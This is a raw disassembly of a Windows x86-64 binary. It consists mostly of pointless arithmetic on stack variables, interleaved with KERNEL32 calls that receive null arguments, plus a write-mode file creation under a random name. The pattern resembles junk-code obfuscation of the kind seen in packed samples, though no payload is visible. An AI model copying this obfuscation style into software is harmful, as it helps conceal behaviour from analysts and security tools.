movzx eax, byte [rsp + 0x542]
movzx ecx, byte [rsp + 0x6ea]
sub eax, ecx
mov byte [rsp + 0x66a], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b64], ax
mov rax, qword [0x14028ecf8]
mov eax, dword [rax]
mov dword [rsp + 0xadb0], eax
mov eax, dword [rsp + 0x899c]
mov ecx, dword [rsp + 0x7f2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa430], eax
mov eax, dword [rsp + 0xa9e8]
mov dword [rsp + 0xadb4], eax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab10], eax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x678]
sar eax, cl
mov byte [rsp + 0x656], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14028ee48]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa63c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x94fc], eax
mov rax, qword [rsp + 0x14cc0]
mov ecx, dword [rsp + 0xaa30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa55c], eax
mov rax, qword [0x14028ec98]
mov eax, dword [rax]
mov dword [rsp + 0xadb8], eax
mov rax, qword [rsp + 0x14e58]
mov rcx, qword [rsp + 0x14c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e0], eax
mov eax, dword [rsp + 0x7ed0]
mov dword [rsp + 0xadbc], eax
movsx eax, word [rsp + 0x1d44]
imul eax, eax, 0x251
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66b]
and eax, ecx
mov rcx, qword [rsp + 0x14968]
mov byte [rcx], al
movzx eax, byte [rsp + 0x69c]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x617], al
movzx eax, word [0x140282724]
movzx ecx, word [rsp + 0x2f44]
add eax, ecx
mov word [0x140282888], ax
mov eax, dword [rsp + 0xa3f0]
mov ecx, dword [rsp + 0xacc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xadc0], eax
mov rax, qword [0x14028ed28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f18]
add eax, ecx
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov dword [rsp + 0xadc4], eax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0xabfc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa7f8], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x81a4]
shl eax, cl
mov dword [rsp + 0x720c], eax
mov rax, qword [0x14028ecf8]
mov ecx, dword [rsp + 0xaa40]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaaf4], eax
mov rax, qword [rsp + 0x15018]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x712]
sar eax, cl
mov byte [0x14028ec5c], al
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [0x140282818]
and eax, ecx
mov word [rsp + 0x1b28], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa2eb
mov rcx, qword [rsp + 0x149d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa6d0], eax
mov rax, qword [rsp + 0x148c0]
mov eax, dword [rax]
mov dword [rsp + 0xadc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa718], eax
mov rax, qword [rsp + 0x14678]
movzx eax, byte [rax]
mov byte [rsp + 0x731], al
movsx eax, word [0x1402827fc]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f3c], ax
lea rcx, [rsp + 0x247d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xaad8], eax
movzx eax, byte [rsp + 0x5d1]
movzx ecx, byte [rsp + 0x653]
sub eax, ecx
mov byte [rsp + 0x65d], al
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x15060], rax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa8]
and ecx, eax
mov eax, ecx
mov dword [0x14028288c], eax
lea rdx, [rsp + 0xadcc]
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa960], eax
mov rax, qword [0x14028ec88]
mov rcx, qword [rsp + 0x14c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x86c8], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x81a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9dc], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov dword [rsp + 0xadd0], eax
mov rcx, qword [rsp + 0x14fd8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa69c], eax
movzx eax, byte [0x140281e2f]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x668], al
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
movzx eax, word [rsp + 0x2730]
movzx ecx, word [rsp + 0x2de0]
add eax, ecx
mov rcx, qword [rsp + 0x14f08]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c80]
mov eax, dword [rax]
mov dword [rsp + 0xadd4], eax
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
mov rcx, qword [0x14028ece0]
mov qword [rsp + 0x15068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15068]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa8b0], eax
mov eax, dword [rsp + 0xa914]
movzx ecx, al
mov eax, dword [rsp + 0xaba0]
sar eax, cl
mov dword [rsp + 0x7c64], eax
mov rax, qword [0x14028ecf8]
mov rcx, qword [rsp + 0x14b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028287c], eax
movzx eax, word [rsp + 0x2c14]
movzx ecx, word [rsp + 0x2d80]
or eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4d6]
movzx ecx, byte [0x14028ec58]
and eax, ecx
mov byte [rsp + 0x72e], al
mov rax, qword [rsp + 0x140a8]
movzx eax, word [rax]
mov word [rsp + 0x2f50], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.O2H00F9joFaSCVy4cxlG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15070], rax
movsx eax, byte [rsp + 0x35f]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x723], al
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
mov dword [rsp + 0xadd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa410]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa56c], eax
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cf0]
add eax, ecx
mov word [rsp + 0x2d5c], ax
mov edx, 0x146bb2
mov rcx, qword [rsp + 0x14b88]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaab4], eax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov byte [rsp + 0x732], al
mov eax, dword [rsp + 0x8a84]
mov dword [0x14028ebec], eax
mov rax, qword [rsp + 0x145d8]
mov ecx, dword [rsp + 0xa6c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14a30]
mov dword [rcx], eax
lea rdx, [rsp + 0x23468]
mov rcx, qword [rsp + 0x14b88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaddc], eax
lea rax, [rsp + 0xa974]
mov qword [rsp + 0x15078], rax
mov rax, qword [0x14028ee98]
mov rcx, qword [rsp + 0x14618]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa694], eax
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c68], ax
lea rax, [rsp + 0x701]
mov qword [rsp + 0x15080], rax
mov rax, qword [0x14028ecc0]
mov rcx, qword [rsp + 0x14de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa478], eax
mov eax, dword [rsp + 0x90bc]
mov ecx, dword [rsp + 0xa804]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fd4], eax
mov rax, qword [0x14028ee80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa370]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa42c], eax
mov eax, dword [rsp + 0x65d8]
mov ecx, dword [rsp + 0xa498]
or ecx, eax
mov eax, ecx
mov dword [0x14028ee88], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xade0], eax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [0x14028ecb8]
shl eax, cl
mov byte [rsp + 0x643], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
movsx eax, word [rsp + 0x25dc]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c20], ax
lea rax, [rsp + 0x65a]
mov qword [rsp + 0x15088], rax
movzx eax, word [0x14028ec6c]
movzx ecx, word [rsp + 0x2c5c]
xor eax, ecx
mov word [rsp + 0x2d04], ax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov dword [rsp + 0xade4], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa58], eax
mov rax, qword [0x14028ecd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x659]
sub eax, ecx
mov rcx, qword [rsp + 0x14810]
mov byte [rcx], al
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
mov eax, dword [0x1402827c4]
mov ecx, dword [rsp + 0xa7a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f80], eax
mov rax, qword [rsp + 0x147c0]
mov rcx, qword [rsp + 0x144e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa778], eax
lea rax, [rsp + 0x872c]
mov qword [rsp + 0x15090], rax
mov rax, qword [rsp + 0x14da0]
mov ecx, dword [0x14028edc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x698]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov rcx, qword [rsp + 0x14b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ab0]
movzx eax, word [rax]
mov word [rsp + 0x2f54], ax
mov eax, dword [rsp + 0xac8c]
mov ecx, dword [rsp + 0xac34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5a0], eax
mov eax, dword [rsp + 0xa838]
mov dword [rsp + 0xade8], eax
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cf8]
add eax, ecx
mov word [0x140282890], ax
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x695], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2040], ax
movzx eax, byte [rsp + 0x6fd]
movzx ecx, byte [rsp + 0x6c3]
or eax, ecx
mov byte [rsp + 0x6c0], al
mov rax, qword [rsp + 0x14b48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8af4]
shl eax, cl
mov dword [rsp + 0xa52c], eax
mov eax, dword [rsp + 0x8af4]
mov dword [rsp + 0xadec], eax
mov rax, qword [rsp + 0x14688]
mov ecx, dword [0x14028ee1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x779c], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov dword [rsp + 0xadf0], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xac5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xadd0], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c4], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c94]
sub eax, ecx
mov word [0x140282894], ax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [0x14028ed48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9cb8], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac50], eax
mov eax, dword [rsp + 0xaab0]
mov dword [rsp + 0xadf4], eax
mov eax, dword [rsp + 0xa7c0]
mov ecx, dword [rsp + 0x7c28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86e0], eax
movzx eax, word [rsp + 0x2f44]
movzx ecx, word [rsp + 0x2dbc]
add eax, ecx
mov rcx, qword [rsp + 0x14e60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x681]
mov byte [rsp + 0x733], al
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
movsx ecx, byte [0x140281e33]
sub eax, ecx
mov byte [rsp + 0x70e], al
mov rax, qword [rsp + 0x143c8]
movzx eax, word [rax]
mov word [rsp + 0x2f58], ax
mov eax, dword [rsp + 0x78bc]
mov ecx, dword [rsp + 0x8a80]
and ecx, eax
mov eax, ecx
mov dword [0x140282774], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x89b4]
sar eax, cl
mov dword [rsp + 0x7a1c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx eax, word [rsp + 0x1f4c]
mov rcx, qword [rsp + 0x14dc8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b48], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
movzx ecx, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
shl eax, cl
mov byte [rsp + 0x394], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xab2c]
mov ecx, dword [rsp + 0x9108]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9260], eax
mov eax, dword [rsp + 0xa408]
mov dword [rsp + 0xadf8], eax
mov rax, qword [rsp + 0x149a8]
mov ecx, dword [0x14028ee04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8ea0], eax
mov rax, qword [rsp + 0x14de0]
mov eax, dword [rax]
mov dword [rsp + 0xadfc], eax
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x144b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov rcx, qword [0x14028eca8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281dda], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xacc0], eax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [rsp + 0xa4d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6cc], eax
lea rax, [rsp + 0xa950]
mov qword [rsp + 0x15098], rax
mov rax, qword [rsp + 0x146c8]
mov ecx, dword [rsp + 0xa4d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x148f8]
mov ecx, dword [rsp + 0x7bf4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8fc0], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a1c], eax
movsx eax, word [rsp + 0x2c28]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2edc], ax
movzx eax, byte [rsp + 0x70c]
mov byte [rsp + 0x734], al
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71f]
add eax, ecx
mov byte [rsp + 0x71d], al
movzx eax, word [rsp + 0x2d8c]
movzx ecx, word [rsp + 0x2e48]
sub eax, ecx
mov word [0x140282898], ax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov dword [rsp + 0xae00], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [0x14028ebf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8db0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c3c]
sar eax, cl
mov word [rsp + 0x2c34], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
lea rax, [rsp + 0x684]
mov qword [rsp + 0x150a0], rax
mov edx, 0x476
mov rcx, qword [rsp + 0x14fa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xae04], eax
mov rax, qword [rsp + 0x148f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa660]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa590], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rax, [rsp + 0xab8c]
mov qword [rsp + 0x150a8], rax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x98b0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ddc], eax
mov rax, qword [rsp + 0x14cc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14028ede0]
shl eax, cl
mov dword [rsp + 0x651c], eax
movzx eax, word [rsp + 0x2d9c]
mov word [0x14028ebe8], ax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab1c], eax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x669]
and eax, ecx
mov byte [rsp + 0x674], al
mov rax, qword [rsp + 0x14f18]
mov ecx, dword [rsp + 0x7d7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9454], eax
lea rax, [rsp + 0x8360]
mov qword [rsp + 0x150b0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xae08], eax
movsx eax, word [rsp + 0x2dd8]
movsx ecx, word [rsp + 0x20b0]
add eax, ecx
mov word [rsp + 0x24a0], ax
movzx eax, byte [rsp + 0x726]
mov byte [rsp + 0x735], al
movzx eax, word [rsp + 0x19e8]
movzx ecx, word [rsp + 0x2958]
and eax, ecx
mov word [rsp + 0x2cd0], ax
movzx eax, byte [rsp + 0x46c]
movzx ecx, byte [rsp + 0x6ab]
add eax, ecx
mov rcx, qword [rsp + 0x14698]
mov byte [rcx], al
mov rax, qword [0x14028edb8]
mov eax, dword [rax]
mov dword [rsp + 0xae0c], eax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14028ec98]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa818]
mov ecx, dword [rsp + 0xac5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa590], eax
mov eax, dword [rsp + 0x8d30]
mov ecx, dword [rsp + 0x9d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9448], eax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f98]
mov dword [rcx], eax
movzx eax, byte [0x140281e2f]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6f9], al
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov word [rsp + 0x2f5c], ax
mov eax, dword [rsp + 0xa950]
mov rcx, qword [rsp + 0x140f0]
mov qword [rsp + 0x150b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x150b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14e08]
mov dword [rcx], eax
mov eax, dword [0x14028269c]
mov dword [rsp + 0xae10], eax
mov eax, dword [rsp + 0xab38]
mov ecx, dword [rsp + 0xa780]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xabd4], eax
mov eax, dword [rsp + 0xa2e0]
movzx ecx, al
mov eax, dword [rsp + 0x8694]
sar eax, cl
mov dword [0x140282710], eax
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c24], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25b]
add eax, ecx
mov byte [rsp + 0x2bf], al
movsx eax, byte [rsp + 0x6e7]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x142b0]
movzx eax, word [rax]
mov word [rsp + 0x2f60], ax
mov eax, dword [rsp + 0xab8c]
mov ecx, dword [rsp + 0xa794]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa88c], eax
mov eax, dword [0x14028ed98]
mov dword [rsp + 0xae14], eax
movzx eax, word [rsp + 0x2d50]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dc8], ax
movzx eax, byte [rsp + 0x542]
movzx ecx, byte [rsp + 0x6ce]
and eax, ecx
mov rcx, qword [rsp + 0x14470]
mov byte [rcx], al
lea rax, [rsp + 0xa564]
mov qword [0x14028ebe0], rax
lea rax, [rsp + 0x737c]
mov qword [rsp + 0x150c0], rax
mov eax, dword [rsp + 0x9f14]
mov ecx, dword [rsp + 0xa79c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad40], eax
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov dword [rsp + 0xae18], eax
movzx eax, byte [rsp + 0x6a8]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67a], al
mov rax, qword [rsp + 0x148a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f4c]
add eax, ecx
mov word [rsp + 0x2c38], ax
mov eax, dword [0x140282730]
mov ecx, dword [rsp + 0x6630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7330], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [rsp + 0xa64c]
mov rcx, qword [rsp + 0x14288]
mov qword [rsp + 0x150c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x150c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa8a8], eax
mov eax, dword [rsp + 0xa630]
mov dword [rsp + 0xae1c], eax
mov eax, dword [rsp + 0xa94c]
mov ecx, dword [rsp + 0x69e0]
or ecx, eax
mov eax, ecx
mov dword [0x14028ed7c], eax
mov eax, dword [rsp + 0xacb0]
mov ecx, dword [rsp + 0xa3ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8e4], eax
movsx eax, word [rsp + 0x2cf8]
movsx ecx, word [0x14028ee40]
sar eax, cl
mov word [rsp + 0x2c74], ax
lea rax, [rsp + 0x64e]
mov qword [rsp + 0x150d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c9], al
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
mov word [rsp + 0x2f64], ax
mov rax, qword [0x14028ee28]
mov rcx, qword [rsp + 0x14ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5c8], eax
mov eax, dword [rsp + 0xacb8]
mov ecx, dword [rsp + 0xa5c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x14e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d54]
sub eax, ecx
mov word [0x14028289c], ax
mov rax, qword [rsp + 0x14f18]
mov ecx, dword [rsp + 0xac78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f2c], eax
mov eax, dword [rsp + 0xa35c]
mov dword [rsp + 0xae20], eax
mov eax, dword [rsp + 0xaae4]
mov ecx, dword [rsp + 0x91bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xad7c], eax
mov eax, dword [rsp + 0xa634]
mov dword [rsp + 0xae24], eax
movzx eax, word [0x14028ede4]
mov rcx, qword [rsp + 0x14a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d94], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x437]
sub eax, ecx
mov byte [rsp + 0x6f4], al
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6558], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa724]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6608], eax
lea rax, [rsp + 0x2da8]
mov qword [0x14028ebd8], rax
mov rax, qword [rsp + 0x146d0]
movzx eax, byte [rax]
mov byte [rsp + 0x736], al
movzx eax, byte [rsp + 0x667]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x64d], al
mov rax, qword [rsp + 0x14b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b68], ax
mov eax, dword [0x140282780]
mov dword [rsp + 0xae28], eax
mov eax, dword [rsp + 0x9cb8]
mov rcx, qword [rsp + 0x14d20]
mov qword [rsp + 0x150d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x150d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa728], eax
mov rax, qword [rsp + 0x146c8]
mov ecx, dword [rsp + 0x7e78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x97cc], eax
mov rax, qword [rsp + 0x14820]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad90], eax
